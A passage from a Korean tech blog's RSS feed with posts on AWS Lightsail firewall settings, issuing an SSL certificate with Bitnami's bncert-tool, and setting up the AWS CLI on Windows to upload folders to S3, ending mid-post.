&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;233&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJdBhZ/btrQEH3g49l/X24CVEHGcIYQevhrUx2Lfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJdBhZ/btrQEH3g49l/X24CVEHGcIYQevhrUx2Lfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJdBhZ/btrQEH3g49l/X24CVEHGcIYQevhrUx2Lfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJdBhZ%2FbtrQEH3g49l%2FX24CVEHGcIYQevhrUx2Lfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;233&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;233&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;아래처럼 추가가 완료 되고나서 다시 HeidiSQL 에서 접속을 해보자&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biASQb/btrQD8Uk7Nx/KFD2Qfk0hRhK4jaVUfppik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biASQb/btrQD8Uk7Nx/KFD2Qfk0hRhK4jaVUfppik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biASQb/btrQD8Uk7Nx/KFD2Qfk0hRhK4jaVUfppik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiASQb%2FbtrQD8Uk7Nx%2FKFD2Qfk0hRhK4jaVUfppik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;767&quot; height=&quot;350&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;정상적으로 접속이 된다 !&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddgdSP/btrQEaxPURK/gduLYydFucNlnv9ApX1dJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddgdSP/btrQEaxPURK/gduLYydFucNlnv9ApX1dJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddgdSP/btrQEaxPURK/gduLYydFucNlnv9ApX1dJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddgdSP%2FbtrQEaxPURK%2FgduLYydFucNlnv9ApX1dJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;301&quot; height=&quot;320&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;aws 같은건 쓰지 못하고 센토스 6,7,8&amp;nbsp;&lt;br /&gt;iptable 이랑 firewall 만 쓰던 단순한 사람이라 이런게 상당히 충격적이기도하고 신기하기도한데&lt;br /&gt;그럼 aws 에서 설정해주면 보통 Ec2 나 Lightsail 내부에서 돌아가는 리눅스 안에서는 방화벽을 굳이 안막아도되는건가 ?&lt;br /&gt;다른 실무 세팅은 어떻게 되있는지 참 궁금하다.&lt;/p&gt;</description>
      <category>IT/AWS</category>
      <category>amazon lightsail</category>
      <category>AWS Lightsail</category>
      <category>lightsail firewall</category>
      <category>lightsail iptable</category>
      <category>lightsail ipv4 firewall</category>
      <category>라이트세일</category>
      <category>아마존 lightsail</category>
      <category>아마존 라이트세일</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/188</guid>
      <comments>https://bug41.tistory.com/entry/AWS-Lightsail-DB-%EC%A0%91%EA%B7%BC-%EC%95%88%EB%90%A0%EB%95%8C-%EB%B0%A9%ED%99%94%EB%B2%BD-%EC%84%A4%EC%A0%95-%EB%B0%A9%EB%B2%95#entry188comment</comments>
      <pubDate>Tue, 8 Nov 2022 09:45:16 +0900</pubDate>
    </item>
    <item>
      <title>[AWS] Lightsail 도메인 SSL 인증받기 #https #bncert-tool #bitnami</title>
      <link>https://bug41.tistory.com/entry/AWS-Lightsail-%EB%8F%84%EB%A9%94%EC%9D%B8-SSL-%EC%9D%B8%EC%A6%9D%EB%B0%9B%EA%B8%B0-https-bncert-tool-bitnami</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;프론트단은 S3 랑 CloudFront 에서 다 돌고있어서 이미 aws 웹사이트상에서 인증서 까지 다 발급 받은상태라 상관없는데&lt;br /&gt;api 형식으로 데이터 던져주는 백단이 문제였다.&lt;br /&gt;&lt;br /&gt;api.example.com 라는 example.com 의 서브도메인을 어쨋든 ssl 발급을 해줘야했는데 이건 aws 웹에서 하는게 아니라&lt;br /&gt;직접 lightsail ssh 접속해서 발급 받을수 있었다.&lt;br /&gt;정확히는 LightSail 에 bitnami 로 세팅 되어있었다.&lt;br /&gt;&lt;br /&gt;아래 명령어로 편리하게 발급 받을수 있었는데, SSL 설정을 쉽게 해주는 비트나미 헬퍼 툴이라고 한다&lt;/p&gt;
&lt;pre id=&quot;code_1667388167137&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo /opt/bitnami/bncert-tool&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1142&quot; data-origin-height=&quot;857&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bANajB/btrQb3tBXIr/KgK8oP8ZJaj05WNVrc6lg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bANajB/btrQb3tBXIr/KgK8oP8ZJaj05WNVrc6lg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bANajB/btrQb3tBXIr/KgK8oP8ZJaj05WNVrc6lg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbANajB%2FbtrQb3tBXIr%2FKgK8oP8ZJaj05WNVrc6lg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1142&quot; height=&quot;857&quot; data-origin-width=&quot;1142&quot; data-origin-height=&quot;857&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;중간에 Warning 어쩌고 뜨면서 이미 현재 아이피에 연결되있는 도메인이 있다고 하길래 이걸 실행하기전 내가 certbot 명령어 막 치면서 삽질한 내역이 생각나서 내가 설치했던 letsencrypt 폴더를 아예 날려버리고나서 재실행하니까&amp;nbsp;&lt;br /&gt;위와 같은 경고문구는 뜨지않았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;145&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nc2Dl/btrQdz6QR3a/5rToeAJZLQHxGIymaIPVm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nc2Dl/btrQdz6QR3a/5rToeAJZLQHxGIymaIPVm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nc2Dl/btrQdz6QR3a/5rToeAJZLQHxGIymaIPVm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnc2Dl%2FbtrQdz6QR3a%2F5rToeAJZLQHxGIymaIPVm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;145&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;145&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위에 썻다시피 내가 필요한건 api.example.com 의 인증서라 그대로 치고나면&lt;br /&gt;www.api. 로 시작하는 인증서는 필요없냐? 라고 물어보는데 당연히 필요없어서 n , Enter&lt;br /&gt;&lt;br /&gt;마지막으로 HTTPS redirection 물어보는데 y&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DweUk/btrQe272h5K/gzLZoieRKD2JsMtktyFhzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DweUk/btrQe272h5K/gzLZoieRKD2JsMtktyFhzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DweUk/btrQe272h5K/gzLZoieRKD2JsMtktyFhzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDweUk%2FbtrQe272h5K%2FgzLZoieRKD2JsMtktyFhzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1154&quot; height=&quot;576&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 외엔&lt;br /&gt;1. 웹서버 꺼질거임&lt;br /&gt;2. 요청한 도메인으로 Let's Encrypt 인증서 발급될거임&lt;br /&gt;3. crontab 에 달달이 자동 갱신되게끔 세팅될거임&lt;br /&gt;4. 2번이랑 비슷&lt;br /&gt;5.HTTP 에서 HTTPS 로 redirect 세팅&lt;br /&gt;6. 위에것들 다되면 다시 웹서버 켜질거임&amp;nbsp;&lt;br /&gt;&lt;br /&gt;이것들 다 괜찮음? 이라고 하는듯합니다.&lt;br /&gt;저는 그래서 Y&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvbEhd/btrQdzFUs5i/Si7F3YxbkBzylb2NVtsLZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvbEhd/btrQdzFUs5i/Si7F3YxbkBzylb2NVtsLZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvbEhd/btrQdzFUs5i/Si7F3YxbkBzylb2NVtsLZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvbEhd%2FbtrQdzFUs5i%2FSi7F3YxbkBzylb2NVtsLZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;761&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;689&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/egsSTx/btrQeDnuufs/KcfFReTXlD1Uk4HvWyO4rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/egsSTx/btrQeDnuufs/KcfFReTXlD1Uk4HvWyO4rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/egsSTx/btrQeDnuufs/KcfFReTXlD1Uk4HvWyO4rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FegsSTx%2FbtrQeDnuufs%2FKcfFReTXlD1Uk4HvWyO4rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;689&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;689&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러고나서 도메인 접속하니까 바로 SSL 발급 정상적으로 처리된것을 확인 할수있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;324&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YsdQH/btrQf3Me4Oj/QB4BtDHTaUrTirWEORspDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YsdQH/btrQf3Me4Oj/QB4BtDHTaUrTirWEORspDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YsdQH/btrQf3Me4Oj/QB4BtDHTaUrTirWEORspDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYsdQH%2FbtrQf3Me4Oj%2FQB4BtDHTaUrTirWEORspDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;324&quot; height=&quot;214&quot; data-origin-width=&quot;324&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/AWS</category>
      <category>aws lightsail bitnami ssl</category>
      <category>aws lightsail domain</category>
      <category>aws ssl</category>
      <category>aws 라이트세일</category>
      <category>bitnami</category>
      <category>bncert-tool</category>
      <category>lightsail ssl</category>
      <category>라이트세일 https</category>
      <category>라이트세일 ssl 발급</category>
      <category>라이트세일 인증서</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/187</guid>
      <comments>https://bug41.tistory.com/entry/AWS-Lightsail-%EB%8F%84%EB%A9%94%EC%9D%B8-SSL-%EC%9D%B8%EC%A6%9D%EB%B0%9B%EA%B8%B0-https-bncert-tool-bitnami#entry187comment</comments>
      <pubDate>Wed, 2 Nov 2022 23:28:51 +0900</pubDate>
    </item>
    <item>
      <title>[AWS] S3 에 폴더 업로드하기 , 윈도우 aws cli 세팅 방법</title>
      <link>https://bug41.tistory.com/entry/AWS-S3-%EC%97%90-%ED%8F%B4%EB%8D%94-%EC%97%85%EB%A1%9C%EB%93%9C%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;웹상에서도 업로드가 가능하지만 aws cli 를 이용하여 커맨드로 업로드 하는 방법을 포스팅 할게요.S3 에 myexample.com 이라는 버킷을 생성했다치고 여기다 폴더를 업로드 해보겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1861&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIDjsk/btrQaaEIb66/KWbKqGA8sUCVCNsalnCPm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIDjsk/btrQaaEIb66/KWbKqGA8sUCVCNsalnCPm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIDjsk/btrQaaEIb66/KWbKqGA8sUCVCNsalnCPm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIDjsk%2FbtrQaaEIb66%2FKWbKqGA8sUCVCNsalnCPm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1861&quot; height=&quot;662&quot; data-origin-width=&quot;1861&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;1. 우선 aws cli 설치는 필수&lt;br /&gt;&lt;a href=&quot;https://s3.amazonaws.com/aws-cli/AWSCLI64.msi&quot;&gt;https://s3.amazonaws.com/aws-cli/AWSCLI64.msi&lt;/a&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 설치가 되었다면 cmd 창에서 &quot;aws&quot; 라고 치면 아래와 같이 뜨는걸 볼수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buOzo8/btrP8XzqMY8/2PL16cQyarXFknWeKxQ1zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buOzo8/btrP8XzqMY8/2PL16cQyarXFknWeKxQ1zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buOzo8/btrP8XzqMY8/2PL16cQyarXFknWeKxQ1zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuOzo8%2FbtrP8XzqMY8%2F2PL16cQyarXFknWeKxQ1zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;706&quot; height=&quot;234&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우측 상단에 &quot;Design Present&quot; -&amp;gt; &quot;보안 자격 증명&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;318&quot; data-origin-height=&quot;415&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kXdnN/btrQatqA1Jk/uMNv8CZklVsohokTk3hFPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kXdnN/btrQatqA1Jk/uMNv8CZklVsohokTk3hFPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kXdnN/btrQatqA1Jk/uMNv8CZklVsohokTk3hFPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkXdnN%2FbtrQatqA1Jk%2FuMNv8CZklVsohokTk3hFPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;318&quot; height=&quot;415&quot; data-origin-width=&quot;318&quot; data-origin-height=&quot;415&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;액세스 키(액세스 키 ID 및 비밀 액세스 키&quot; 선택 후 액세스 키 만들면됩니다.&lt;br /&gt;최대 2개밖에 안되니까 기존에 이미 2개 발급되어있다면 안쓰는걸 지우시거나 그래야해요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;744&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pOJ1l/btrQatjPgzx/I86ZCOJigU25H2IAXIqNAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pOJ1l/btrQatjPgzx/I86ZCOJigU25H2IAXIqNAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pOJ1l/btrQatjPgzx/I86ZCOJigU25H2IAXIqNAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpOJ1l%2FbtrQatjPgzx%2FI86ZCOJigU25H2IAXIqNAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;744&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;744&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;키 파일 다운 받아서 안에 있는 내용물대로 입력해줍니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img1.daumcdn.png&quot; data-origin-width=&quot;351&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5hGjA/btrQbsx7kNC/NpVZl7yWrKIYgGWB4pjGd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5hGjA/btrQbsx7kNC/NpVZl7yWrKIYgGWB4pjGd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5hGjA/btrQbsx7kNC/NpVZl7yWrKIYgGWB4pjGd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5hGjA%2FbtrQbsx7kNC%2FNpVZl7yWrKIYgGWB4pjGd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;351&quot; height=&quot;210&quot; data-filename=&quot;img1.daumcdn.png&quot; data-origin-width=&quot;351&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1667300980034&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws configure

AWS Access Key ID [None] : 다운 받은 파일 내에 있는 KeyID
AWS Secret Access Key [None] : 다운 받은 파일 내에 있는 Key

입력 후 그 외엔 그냥 Enter&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. cli 에서 command 명령어&lt;br /&gt;&lt;br /&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드, 다운로드 하는 명령어는 아래와 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1667304344723&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//폴더 업로드 명령어 
aws s3 cp [로컬 경로] s3://[버킷명] --recursive
aws s3 cp C:\web_developer\myexample.com s3://버킷명 --recursive

그냥 지금 있는 폴더에 있는 애들 그대로 올리고싶으면 git bash 나 cmd 창 열어서 아래처럼 진행
aws s3 cp ./ s3://버킷명 --recursive

//폴더 다운로드 명령어
aws s3 cp s3://[버킷명] [로컬 경로] --recursive

//그외
//aws 버전 확인
aws --version

//aws s3 버킷 리스트 확인
aws s3 ls

//aws s3 특정 버킷의 파일목록 뽑아보기
aws s3 ls s3://버킷명&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제 로컬에 myexample 폴더에 구성은 아래와 같았습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;280&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdDYEw/btrP9eVjzo4/iq7ow1pelJ5EUxmC0JwcvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdDYEw/btrP9eVjzo4/iq7ow1pelJ5EUxmC0JwcvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdDYEw/btrP9eVjzo4/iq7ow1pelJ5EUxmC0JwcvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdDYEw%2FbtrP9eVjzo4%2Fiq7ow1pelJ5EUxmC0JwcvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;280&quot; height=&quot;125&quot; data-origin-width=&quot;280&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드하는 명령어를 치면 아래처럼 업로드 된 파일 내역들을 볼수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;63&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b88a1O/btrP6gGCmMn/dFcgtKYLS9g9Fg307vnGRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b88a1O/btrP6gGCmMn/dFcgtKYLS9g9Fg307vnGRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b88a1O/btrP6gGCmMn/dFcgtKYLS9g9Fg307vnGRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb88a1O%2FbtrP6gGCmMn%2FdFcgtKYLS9g9Fg307vnGRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 